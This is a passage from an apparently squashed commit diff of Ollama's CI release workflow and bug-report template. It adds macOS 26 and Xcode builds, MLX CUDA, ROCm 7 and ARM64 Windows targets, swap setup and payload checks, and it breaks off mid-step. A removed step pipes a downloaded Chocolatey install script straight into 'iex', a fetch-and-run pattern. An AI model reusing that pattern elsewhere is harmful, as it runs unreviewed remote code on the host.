fix launch model picker recovery

MLX now requires a macOS 26.2 deployment target for NAX kernels. Ollama's Metal v4 build still targeted 26.0, so recent MLX bumps silently built mlx_metal_v4 without NAX kernels.

.github/ISSUE_TEMPLATE/10_bug_report.yml

@@ -13,7 +13,7 @@ body:
     id: logs
     attributes:
       label: Relevant log output
-      description: Please copy and paste any relevant log output. See [Troubleshooting Guide](https://github.com/ollama/ollama/blob/main/docs/troubleshooting.md#how-to-troubleshoot-issues) for details.
+      description: Please copy and paste any relevant log output. See [Troubleshooting Guide](https://github.com/ollama/ollama/blob/main/docs/troubleshooting.mdx#how-to-troubleshoot-issues) for details.
       render: shell
     validations:
       required: false

.github/workflows/release.yaml

@@ -16,7 +16,7 @@ jobs:
     outputs:
       GOFLAGS: ${{ steps.goflags.outputs.GOFLAGS }}
       VERSION: ${{ steps.goflags.outputs.VERSION }}
-      vendorsha: ${{ steps.changes.outputs.vendorsha }}
+      vendorsha: ${{ steps.goflags.outputs.vendorsha }}
     steps:
       - uses: actions/checkout@v4
       - name: Set environment
@@ -24,10 +24,10 @@ jobs:
         run: |
           echo GOFLAGS="'-ldflags=-w -s \"-X=github.com/ollama/ollama/version.Version=${GITHUB_REF_NAME#v}\" \"-X=github.com/ollama/ollama/server.mode=release\"'" | tee -a $GITHUB_OUTPUT
           echo VERSION="${GITHUB_REF_NAME#v}" | tee -a $GITHUB_OUTPUT
-          echo vendorsha=$(make -f Makefile.sync print-base) | tee -a $GITHUB_OUTPUT
+          echo vendorsha=$(cat LLAMA_CPP_VERSION)-$(cat MLX_VERSION)-$(cat MLX_C_VERSION) | tee -a $GITHUB_OUTPUT
 
   darwin-build:
-    runs-on: macos-14-xlarge
+    runs-on: macos-26-xlarge
     environment: release
     needs: setup-environment
     env:
@@ -39,11 +39,27 @@ jobs:
       APPLE_ID: ${{ vars.APPLE_ID }}
       MACOS_SIGNING_KEY: ${{ secrets.MACOS_SIGNING_KEY }}
       MACOS_SIGNING_KEY_PASSWORD: ${{ secrets.MACOS_SIGNING_KEY_PASSWORD }}
+      DEVELOPER_DIR: /Applications/Xcode_26.4.1.app/Contents/Developer
       CGO_CFLAGS: '-mmacosx-version-min=14.0 -O3'
       CGO_CXXFLAGS: '-mmacosx-version-min=14.0 -O3'
       CGO_LDFLAGS: '-mmacosx-version-min=14.0 -O3'
     steps:
       - uses: actions/checkout@v4
+      - name: Select Xcode 26.4.1
+        shell: bash
+        run: |
+          set -euo pipefail
+          if [ ! -d "${DEVELOPER_DIR}" ]; then
+            echo "Missing ${DEVELOPER_DIR}"
+            ls -1 /Applications | grep '^Xcode' || true
+            exit 1
+          fi
+
+          sudo xcode-select -s "${DEVELOPER_DIR}"
+          sw_vers
+          xcodebuild -version
+          xcrun --sdk macosx --show-sdk-version
+          xcrun --find metal
       - run: |
           echo $MACOS_SIGNING_KEY | base64 --decode > certificate.p12
           security create-keychain -p password build.keychain
@@ -57,7 +73,9 @@ jobs:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - run: |
           ./scripts/build_darwin.sh
       - name: Log build results
@@ -68,19 +86,23 @@ jobs:
           name: bundles-darwin
           path: |
             dist/*.tgz
+            dist/*.tar.zst
             dist/*.zip
             dist/*.dmg
 
   windows-depends:
+    needs: setup-environment
     strategy:
       matrix:
         os: [windows]
         arch: [amd64]
         preset: ['CPU']
+        build-steps: ['cpu cpuArm64']
         include:
           - os: windows
             arch: amd64
             preset: 'CUDA 12'
+            build-steps: cuda12
             install: https://developer.download.nvidia.com/compute/cuda/12.8.0/local_installers/cuda_12.8.0_571.96_windows.exe
             cuda-components:
               - '"cudart"'
@@ -88,10 +110,10 @@ jobs:
               - '"cublas"'
               - '"cublas_dev"'
             cuda-version: '12.8'
-            flags: ''
           - os: windows
             arch: amd64
             preset: 'CUDA 13'
+            build-steps: cuda13
             install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
             cuda-components:
               - '"cudart"'
@@ -102,30 +124,67 @@ jobs:
               - '"nvvm"'
               - '"nvptxcompiler"'
             cuda-version: '13.0'
-            flags: ''
           - os: windows
             arch: amd64
-            preset: 'ROCm 6'
-            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-24.Q4-WinSvr2022-For-HIP.exe
-            rocm-version: '6.2'
-            flags: '-DCMAKE_C_COMPILER=clang -DCMAKE_CXX_COMPILER=clang++ -DCMAKE_C_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma" -DCMAKE_CXX_FLAGS="-parallel-jobs=4 -Wno-ignored-attributes -Wno-deprecated-pragma"'
-            runner_dir: 'rocm'
+            preset: 'ROCm 7'
+            build-steps: rocm7
+            install: https://download.amd.com/developer/eula/rocm-hub/AMD-Software-PRO-Edition-26.Q1-Win11-For-HIP.exe
+            rocm-version: '7.1'
           - os: windows
             arch: amd64
             preset: Vulkan
+            build-steps: vulkan
             install: https://sdk.lunarg.com/sdk/download/1.4.321.1/windows/vulkansdk-windows-X64-1.4.321.1.exe
-            flags: ''
-            runner_dir: 'vulkan'
+          - os: windows
+            arch: amd64
+            preset: 'MLX CUDA 13'
+            build-steps: mlxCuda13
+            build-parallel: '16'
+            cmake-cuda-flags: '-t 6'
+            install: https://developer.download.nvidia.com/compute/cuda/13.0.0/local_installers/cuda_13.0.0_windows.exe
+            cudnn-install: https://developer.download.nvidia.com/compute/cudnn/redist/cudnn/windows-x86_64/cudnn-windows-x86_64-9.18.1.3_cuda13-archive.zip
+            cuda-components:
+              - '"cudart"'
+              - '"nvcc"'
+              - '"cublas"'
+              - '"cublas_dev"'
+              - '"cufft"'
+              - '"cufft_dev"'
+              - '"nvrtc"'
+              - '"nvrtc_dev"'
+              - '"crt"'
+              - '"nvvm"'
+              - '"nvptxcompiler"'
+            cuda-version: '13.0'
     runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
     environment: release
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
+      VERSION: ${{ needs.setup-environment.outputs.VERSION }}
     steps:
+      - if: startsWith(matrix.preset, 'MLX ')
+        name: Increase pagefile to 200 GB
+        uses: al-cheb/configure-pagefile-action@v1.5
+        with:
+          minimum-size: 16GB
+          maximum-size: 200GB
+          disk-root: "D:"
       - name: Install system dependencies
         run: |
           choco install -y --no-progress ccache ninja
-          ccache -o cache_dir=${{ github.workspace }}\.ccache
-      - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan')
+          if (Get-Command ccache -ErrorAction SilentlyContinue) {
+            ccache -o cache_dir=${{ github.workspace }}\.ccache
+          }
+      - if: matrix.preset == 'CPU'
+        name: Install Windows ARM64 cross compiler
+        run: |
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
+      - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'ROCm ') || startsWith(matrix.preset, 'Vulkan') || startsWith(matrix.preset, 'MLX ')
         id: cache-install
         uses: actions/cache/restore@v4
         with:
@@ -133,8 +192,9 @@ jobs:
             C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
             C:\Program Files\AMD\ROCm
             C:\VulkanSDK
-          key: ${{ matrix.install }}
-      - if: startsWith(matrix.preset, 'CUDA ')
+            C:\Program Files\NVIDIA\CUDNN
+          key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
+      - if: startsWith(matrix.preset, 'CUDA ') || startsWith(matrix.preset, 'MLX ')
         name: Install CUDA ${{ matrix.cuda-version }}
         run: |
           $ErrorActionPreference = "Stop"
@@ -172,12 +232,29 @@ jobs:
           }
           
           $vulkanPath = (Resolve-Path "C:\VulkanSDK\*").path
+          $vulkanRuntime = Join-Path $vulkanPath "Helpers\VulkanRT.exe"
+          if (Test-Path $vulkanRuntime) {
+            Start-Process -FilePath $vulkanRuntime -ArgumentList "/s" -NoNewWindow -Wait
+          }
           echo "$vulkanPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
           echo "VULKAN_SDK=$vulkanPath" >> $env:GITHUB_ENV
-      - if: matrix.preset == 'CPU'
+      - if: startsWith(matrix.preset, 'MLX ')
+        name: Install cuDNN for MLX
         run: |
-          echo "CC=clang.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
-          echo "CXX=clang++.exe" | Out-File -FilePath $env:GITHUB_ENV -Append
+          $ErrorActionPreference = "Stop"
+          $cudnnRoot = "C:\Program Files\NVIDIA\CUDNN"
+          if ("${{ steps.cache-install.outputs.cache-hit }}" -ne 'true') {
+            Invoke-WebRequest -Uri "${{ matrix.cudnn-install }}" -OutFile "cudnn.zip"
+            Expand-Archive -Path cudnn.zip -DestinationPath cudnn-extracted
+            $cudnnDir = (Get-ChildItem -Path cudnn-extracted -Directory)[0].FullName
+            New-Item -ItemType Directory -Force -Path $cudnnRoot
+            Copy-Item -Path "$cudnnDir\*" -Destination "$cudnnRoot\" -Recurse
+          }
+
+          echo "CUDNN_ROOT_DIR=$cudnnRoot" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "CUDNN_INCLUDE_PATH=$cudnnRoot\include" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "CUDNN_LIBRARY_PATH=$cudnnRoot\lib\x64" | Out-File -FilePath $env:GITHUB_ENV -Append
+          echo "$cudnnRoot\bin\x64" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
       - if: ${{ !cancelled() && steps.cache-install.outputs.cache-hit != 'true' }}
         uses: actions/cache/save@v4
         with:
@@ -185,78 +262,70 @@ jobs:
             C:\Program Files\NVIDIA GPU Computing Toolkit\CUDA
             C:\Program Files\AMD\ROCm
             C:\VulkanSDK
-          key: ${{ matrix.install }}
+            C:\Program Files\NVIDIA\CUDNN
+          key: ${{ matrix.install }}-${{ matrix.cudnn-install }}
       - uses: actions/checkout@v4
       - uses: actions/cache@v4
         with:
           path: ${{ github.workspace }}\.ccache
           key: ccache-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}-${{ needs.setup-environment.outputs.vendorsha }}
-      - name: Build target "${{ matrix.preset }}"
+      - name: Build Windows dependencies
         run: |
           Import-Module 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise\Common7\Tools\Microsoft.VisualStudio.DevShell.dll'
           Enter-VsDevShell -VsInstallPath 'C:\Program Files\Microsoft Visual Studio\2022\Enterprise' -SkipAutomaticLocation  -DevCmdArguments '-arch=x64 -no_logo'
-          cmake --preset "${{ matrix.preset }}" ${{ matrix.flags }} --install-prefix "$((pwd).Path)\dist\${{ matrix.os }}-${{ matrix.arch }}"
-          cmake --build --parallel ([Environment]::ProcessorCount) --preset "${{ matrix.preset }}"
-          cmake --install build --component "${{ startsWith(matrix.preset, 'CUDA ') && 'CUDA' || startsWith(matrix.preset, 'ROCm ') && 'HIP' || startsWith(matrix.preset, 'Vulkan') && 'Vulkan' || 'CPU' }}" --strip
-          Remove-Item -Path dist\lib\ollama\rocm\rocblas\library\*gfx906* -ErrorAction SilentlyContinue
+          $steps = "${{ matrix.build-steps }}".Split(' ', [System.StringSplitOptions]::RemoveEmptyEntries)
+          ./scripts/build_windows.ps1 @steps
         env:
           CMAKE_GENERATOR: Ninja
+          OLLAMA_BUILD_PARALLEL: ${{ matrix.build-parallel || '' }}
+          OLLAMA_CMAKE_CUDA_FLAGS: ${{ matrix.cmake-cuda-flags || '' }}
       - name: Log build results
         run: |
           gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
+      - if: matrix.preset == 'CPU'
+        name: Verify Windows CPU payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
       - uses: actions/upload-artifact@v4
         with:
           name: depends-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.preset }}
           path: dist\*
 
   windows-build:
-    strategy:
-      matrix:
-        os: [windows]
-        arch: [amd64, arm64]
-        include:
-        - os: windows
-          arch: amd64
-          llvmarch: x86_64
-        - os: windows
-          arch: arm64
-          llvmarch: aarch64
-    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
+    runs-on: windows
     environment: release
     needs: [setup-environment]
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
       VERSION: ${{ needs.setup-environment.outputs.VERSION }}
     steps:
-      - name: Install ARM64 system dependencies
-        if: matrix.arch == 'arm64'
-        run: |
-          $ErrorActionPreference = "Stop"
-          Set-ExecutionPolicy Bypass -Scope Process -Force
-          [System.Net.ServicePointManager]::SecurityProtocol = [System.Net.ServicePointManager]::SecurityProtocol -bor 3072
-          iex ((New-Object System.Net.WebClient).DownloadString('https://community.chocolatey.org/install.ps1'))
-          echo "C:\ProgramData\chocolatey\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
-
-          Invoke-WebRequest -Uri https://aka.ms/vs/17/release/vc_redist.arm64.exe -OutFile "${{ runner.temp }}\vc_redist.arm64.exe"
-          Start-Process -FilePath "${{ runner.temp }}\vc_redist.arm64.exe" -ArgumentList @("/install", "/quiet", "/norestart") -NoNewWindow -Wait
-
-          choco install -y --no-progress git gzip
-          echo "C:\Program Files\Git\cmd" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
       - name: Install clang and gcc-compat
         run: |
           $ErrorActionPreference = "Stop"
           Set-ExecutionPolicy Bypass -Scope Process -Force
-          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-${{ matrix.llvmarch }}.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
+          Invoke-WebRequest -Uri "https://github.com/mstorsjo/llvm-mingw/releases/download/20240619/llvm-mingw-20240619-ucrt-x86_64.zip" -OutFile "${{ runner.temp }}\llvm-mingw-ucrt.zip"
           Expand-Archive -Path ${{ runner.temp }}\llvm-mingw-ucrt.zip -DestinationPath "C:\Program Files\"
-          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt*").path
+          $installPath=(Resolve-Path -Path "C:\Program Files\llvm-mingw-*-ucrt-x86_64").path
           echo "$installPath\bin" | Out-File -FilePath $env:GITHUB_PATH -Encoding utf8 -Append
+          if (!(Test-Path "$installPath\bin\aarch64-w64-mingw32-gcc.exe")) {
+            throw "llvm-mingw x86_64 package is missing the aarch64 cross compiler"
+          }
       - uses: actions/checkout@v4
       - uses: actions/setup-go@v5
         with:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - name: Verify gcc is actually clang
         run: |
           $ErrorActionPreference='Continue'
@@ -273,20 +342,30 @@ jobs:
         with:
           node-version: "20"
       - run: |
-          ./scripts/build_windows ollama app
+          ./scripts/build_windows ollama ollamaArm64 app appArm64
+      - name: Verify Windows build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-arm64/ollama.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
       - name: Log build results
         run: |
           gci -path .\dist -Recurse -File | ForEach-Object { get-filehash -path $_.FullName -Algorithm SHA256 } | format-list
       - uses: actions/upload-artifact@v4
         with:
-          name: build-${{ matrix.os }}-${{ matrix.arch }}
+          name: build-windows-amd64
           path: |
             dist\*
 
   windows-app:
     runs-on: windows
     environment: release
-    needs: [windows-build, windows-depends]
+    needs: [setup-environment, windows-build, windows-depends]
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
       VERSION: ${{ needs.setup-environment.outputs.VERSION }}
@@ -312,7 +391,9 @@ jobs:
           go-version-file: go.mod
           cache-dependency-path: |
             go.sum
-            Makefile.sync
+            LLAMA_CPP_VERSION
+            MLX_VERSION
+            MLX_C_VERSION
       - uses: actions/download-artifact@v4
         with:
           pattern: depends-windows*
@@ -326,6 +407,18 @@ jobs:
       - name: Log dist contents after download
         run: |
           gci -path .\dist -recurse
+      - name: Verify Windows package inputs
+        shell: bash
+        run: |
+          set -euo pipefail
+          for payload in \
+            dist/windows-amd64/ollama.exe \
+            dist/windows-amd64/lib/ollama/llama-server.exe \
+            dist/windows-arm64/ollama.exe \
+            dist/windows-arm64/lib/ollama/llama-server.exe
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
       - run: |
           ./scripts/build_windows.ps1 deps sign installer zip
       - name: Log contents after build
@@ -336,22 +429,36 @@ jobs:
           name: bundles-windows
           path: |
             dist/*.zip
+            dist/*.ps1
             dist/OllamaSetup.exe
 
-  linux-build:
+  linux-depends:
     strategy:
       matrix:
         include:
-          - os: linux
-            arch: amd64
-            target: archive
-          - os: linux
-            arch: amd64
-            target: rocm
-          - os: linux
-            arch: arm64
-            target: archive
-    runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
+          - arch: amd64
+            target: llama-server-cpu
+          - arch: amd64
+            target: llama-server-cuda_v12
+          - arch: amd64
+            target: llama-server-cuda_v13
+          - arch: amd64
+            target: mlx
+          - arch: amd64
+            target: llama-server-rocm_v7_2
+          - arch: amd64
+            target: llama-server-vulkan
+          - arch: arm64
+            target: llama-server-cpu
+          - arch: arm64
+            target: llama-server-cuda_v12
+          - arch: arm64
+            target: llama-server-cuda_v13
+          - arch: arm64
+            target: jetpack-5
+          - arch: arm64
+            target: jetpack-6
+    runs-on: ${{ matrix.arch == 'arm64' && 'linux-arm64' || 'linux' }}
     environment: release
     needs: setup-environment
     env:
@@ -359,75 +466,114 @@ jobs:
     steps:
       - uses: actions/checkout@v4
       - uses: docker/setup-buildx-action@v3
+      - uses: docker/login-action@v3
+        with:
+          username: ${{ vars.DOCKER_USER }}
+          password: ${{ secrets.DOCKER_ACCESS_TOKEN }}
+      - if: matrix.target == 'mlx'
+        name: Increase Linux swap to 200 GB
+        shell: bash
+        run: |
+          set -e
+          SWAP_PATH=/swapfile-mlx
+          SWAP_SIZE_GB=200
+          if [ -f "$SWAP_PATH" ]; then
+              sudo swapoff "$SWAP_PATH" 2>/dev/null || true
+              sudo rm -f "$SWAP_PATH"
+          fi
+          if ! sudo fallocate -l ${SWAP_SIZE_GB}G "$SWAP_PATH" 2>/dev/null; then
+              echo "fallocate unsupported, falling back to dd"
+              sudo dd if=/dev/zero of="$SWAP_PATH" bs=1M count=$((SWAP_SIZE_GB * 1024))
+          fi
+          sudo chmod 600 "$SWAP_PATH"
+          sudo mkswap "$SWAP_PATH"
+          sudo swapon "$SWAP_PATH"
+          swapon --show
+          free -h
       - uses: docker/build-push-action@v6
         with:
           context: .
-          platforms: ${{ matrix.os }}/${{ matrix.arch }}
+          platforms: linux/${{ matrix.arch }}
           target: ${{ matrix.target }}
+          provenance: false
+          sbom: false
           build-args: |
             GOFLAGS=${{ env.GOFLAGS }}
             CGO_CFLAGS=${{ env.CGO_CFLAGS }}
             CGO_CXXFLAGS=${{ env.CGO_CXXFLAGS }}
-          outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
-          cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
-          cache-to: type=inline
-      - run: |
-          for COMPONENT in bin/* lib/ollama/*; do
-            case "$COMPONENT" in
-              bin/ollama)                echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/*.so*)          echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/cuda_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/vulkan*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
-              lib/ollama/cuda_jetpack5)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
-              lib/ollama/cuda_jetpack6)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
-              lib/ollama/rocm)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
-            esac
-          done
-        working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
-      - run: |
-          echo "Manifests"
-          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
-            echo $ARCHIVE
-            cat $ARCHIVE
-          done
-      - run: |
-          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
-            tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | pigz -9vc >$(basename ${ARCHIVE//.*/}.tgz);
-          done
-      - uses: actions/upload-artifact@v4
-        with:
-          name: bundles-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.target }}
-          path: |
-            *.tgz
+            OLLAMA_MLX_BUILD_JOBS=16
+            OLLAMA_MLX_NVCC_THREADS=6
+            APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+            APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+          cache-from: |
+            type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }}
+            type=registry,ref=${{ vars.DOCKER_REPO }}:latest
+          cache-to: type=registry,ref=ollama/release:cache-${{ matrix.arch }}-${{ matrix.target }},mode=max
 
   # Build each Docker variant (OS, arch, and flavor) separately. Using QEMU is unreliable and slower.
+  # Heavy stages were pre-built by linux-depends; this job is cache-hit-only for those layers
+  # and just assembles, runs the Go build, pushes the final image, and extracts release bundles.
   docker-build-push:
     strategy:
       matrix:
         include:
           - os: linux
             arch: arm64
+            archive-target: archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
+              APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+              OLLAMA_MLX_BUILD_JOBS=16
+              OLLAMA_MLX_NVCC_THREADS=6
+            cache-from: |
+              type=registry,ref=ollama/release:cache-arm64-llama-server-cpu
+              type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v12
+              type=registry,ref=ollama/release:cache-arm64-llama-server-cuda_v13
+              type=registry,ref=ollama/release:cache-arm64-jetpack-5
+              type=registry,ref=ollama/release:cache-arm64-jetpack-6
+              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
           - os: linux
             arch: amd64
+            archive-target: archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
+              APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+              OLLAMA_MLX_BUILD_JOBS=16
+              OLLAMA_MLX_NVCC_THREADS=6
+            cache-from: |
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v12
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cuda_v13
+              type=registry,ref=ollama/release:cache-amd64-mlx
+              type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
+              type=registry,ref=ollama/release:cache-amd64-llama-server-vulkan
+              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
           - os: linux
             arch: amd64
             suffix: '-rocm'
+            archive-target: image-archive
             build-args: |
               CGO_CFLAGS
               CGO_CXXFLAGS
               GOFLAGS
               FLAVOR=rocm
+              APT_MIRROR=http://azure.archive.ubuntu.com/ubuntu
+              APT_PORTS_MIRROR=http://azure.ports.ubuntu.com/ubuntu-ports
+              OLLAMA_MLX_BUILD_JOBS=16
+              OLLAMA_MLX_NVCC_THREADS=6
+            cache-from: |
+              type=registry,ref=ollama/release:cache-amd64-llama-server-cpu
+              type=registry,ref=ollama/release:cache-amd64-llama-server-rocm_v7_2
+              type=registry,ref=${{ vars.DOCKER_REPO }}:latest
     runs-on: ${{ matrix.arch == 'arm64' && format('{0}-{1}', matrix.os, matrix.arch) || matrix.os }}
     environment: release
-    needs: setup-environment
+    needs: [setup-environment, linux-depends]
     env:
       GOFLAGS: ${{ needs.setup-environment.outputs.GOFLAGS }}
     steps:
@@ -442,9 +588,11 @@ jobs:
         with:
           context: .
           platforms: ${{ matrix.os }}/${{ matrix.arch }}
+          provenance: false
+          sbom: false
           build-args: ${{ matrix.build-args }}
           outputs: type=image,name=${{ vars.DOCKER_REPO }},push-by-digest=true,name-canonical=true,push=true
-          cache-from: type=registry,ref=${{ vars.DOCKER_REPO }}:latest
+          cache-from: ${{ matrix.cache-from }}
           cache-to: type=inline
       - run: |
           mkdir -p ${{ matrix.os }}-${{ matrix.arch }}
@@ -455,6 +603,64 @@ jobs:
           name: digest-${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}
           path: |
             ${{ runner.temp }}/${{ matrix.os }}-${{ matrix.arch }}-${{ matrix.suffix }}.txt
+      - uses: docker/build-push-action@v6
+        with:
+          context: .
+          platforms: ${{ matrix.os }}/${{ matrix.arch }}
+          target: ${{ matrix.archive-target }}
+          provenance: false
+          sbom: false
+          build-args: ${{ matrix.build-args }}
+          outputs: type=local,dest=dist/${{ matrix.os }}-${{ matrix.arch }}
+          cache-from: ${{ matrix.cache-from }}
+      - name: Deduplicate CUDA libraries
+        run: |
+          ./scripts/deduplicate_cuda_libs.sh dist/${{ matrix.os }}-${{ matrix.arch }}
+      - name: Verify Linux build payloads
+        shell: bash
+        run: |
+          set -euo pipefail
+          base="dist/${{ matrix.os }}-${{ matrix.arch }}"
+          for payload in \
+            "$base/bin/ollama" \
+            "$base/lib/ollama/llama-server"
+          do
+            [ -f "$payload" ] || { echo "missing $payload"; exit 1; }
+          done
+      - run: |
+          for COMPONENT in bin/* lib/ollama/*; do
+            case "$COMPONENT" in
+              bin/ollama*)               echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/*.so*)          echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/llama-server*|lib/ollama/llama-quantize*)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/cuda_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/vulkan*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in ;;
+              lib/ollama/mlx*)           echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/include*)       echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-mlx.tar.in ;;
+              lib/ollama/cuda_jetpack5)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack5.tar.in ;;
+              lib/ollama/cuda_jetpack6)  echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-jetpack6.tar.in ;;
+              lib/ollama/rocm_v*)        echo $COMPONENT >>ollama-${{ matrix.os }}-${{ matrix.arch }}-rocm.tar.in ;;
+            esac
+          done
+        working-directory: dist/${{ matrix.os }}-${{ matrix.arch }}
+      - if: matrix.suffix == '-rocm'
+        run: rm -f dist/${{ matrix.os }}-${{ matrix.arch }}/ollama-${{ matrix.os }}-${{ matrix.arch }}.tar.in
+      - run: |
+          echo "Manifests"
+          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in ; do
+            echo $ARCHIVE
+            cat $ARCHIVE
+          done
+      - run: |
+          for ARCHIVE in dist/${{ matrix.os }}-${{ matrix.arch }}/*.tar.in; do
+            tar c -C dist/${{ matrix.os }}-${{ matrix.arch }} -T $ARCHIVE --owner 0 --group 0 | zstd -19 -T0 >$(basename ${ARCHIVE//.*/}.tar.zst) &
+          done
+          wait
+      - uses: actions/upload-artifact@v4
+        with:
+          name: bundles-${{ matrix.os }}-${{ matrix.arch }}${{ matrix.suffix }}
+          path: |
+            *.tar.zst
 
   # Merge Docker images for the same flavor into a single multi-arch manifest
   docker-merge-push:
@@ -494,7 +700,7 @@ jobs:
   release:
     runs-on: ubuntu-latest
     environment: release
-    needs: [darwin-build, windows-app, linux-build]
+    needs: [darwin-build, windows-app, docker-build-push]
     permissions:
       contents: write
     env:
@@ -509,6 +715,24 @@ jobs:
       - name: Log dist contents
         run: |
           ls -l dist/
+      - name: Copy install scripts to dist
+        run: |
+          cp scripts/install.sh dist/install.sh
+      - name: Verify release artifacts
+        run: |
+          required=(
+            dist/OllamaSetup.exe
+            dist/install.ps1
+            dist/install.sh
+            dist/ollama-windows-amd64.zip
+            dist/ollama-windows-arm64.zip
+          )
+          for payload in "${required[@]}"; do
